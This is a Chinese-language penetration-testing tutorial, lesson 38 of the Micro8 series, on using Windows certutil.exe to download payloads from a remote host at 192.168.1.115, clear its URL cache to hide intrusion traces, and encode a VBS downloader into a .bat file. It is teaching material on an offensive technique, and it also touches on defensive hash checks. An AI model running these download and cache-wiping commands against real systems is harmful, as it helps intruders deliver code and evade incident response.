> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/31-40/38certutil-yi-ju-hua-xia-zai-payload.md).

# 第三十八课：certutil一句话下载payload

## certutil微软官方是这样对它解释的：

> Certutil.exe是一个命令行程序，作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件以及验证证书，密钥对和证书链。

url:<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732443(v=ws.11>)

但是近些年好像被玩坏了。

**靶机：**&#x77;indows 2003 windows 7

```bash
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt
```

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4s87viULMN5Li17%2Fd5ad3e478f8b4df59283786537e748f6.jpg?generation=1551060444561985\&alt=media)

默认下载为bin文件。但是不影响在命令行下使用。\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4sCoZKB4hPFBLNf%2F346d182aad2fafe6b894d0b08c994e0e.jpg?generation=1551060425668942\&alt=media)

certutil.exe 下载有个弊端，它的每一次下载都有留有缓存，而导致留下入侵痕迹，所以每次下载后，**需要马上执行如下**：

```bash
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete
```

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4sEu1RE_BvyflIl%2F1e7636c8225aaf3cd99d81bd44afeff9.jpg?generation=1551060434276548\&alt=media)

而在应急中certutil也是常用工具之一，来对比文件hash，来判断疑似文件。

**Windows 2003：**\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4sHqMsMyBT8OsEB%2F4dd859482e45ae5632c0302798c69329.jpg?generation=1551060449686603\&alt=media)

**Windows 7：**\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4sKyd0DeYdClXhE%2Fedec57e27ee820bc6c423481454ee6fc.jpg?generation=1551060453985233\&alt=media)

## certutil的其它高级应用：

```bash
C:\>certutil -encode c:\downfile.vbs downfile.bat
```

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4sMgzXvrFab7doh%2Fcb14f787f5f65099047d739544e41dbc.jpg?generation=1551060439224895\&alt=media)

**file:downfile.bat**

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4sOazaEzuQOseVS%2Fb659cc22fd3ef3bc8931857f8a255c44.jpg?generation=1551060444706834\&alt=media)

**解密：**\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4sQJd3k2-1rd7oy%2Fbdb9cc7f59e382ddb3e607e704bea481.jpg?generation=1551060454045141\&alt=media)

**file:downfile.txt**\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4sSXk4TuXM-fC_r%2Ff0e6d3203cc514f0a7c611453246da1e.jpg?generation=1551060433483668\&alt=media)

> 后者的话：powershell内存加载配合certutil解密是一件非常有趣的事情。会在未来的系列中讲述。
>
> Micropoor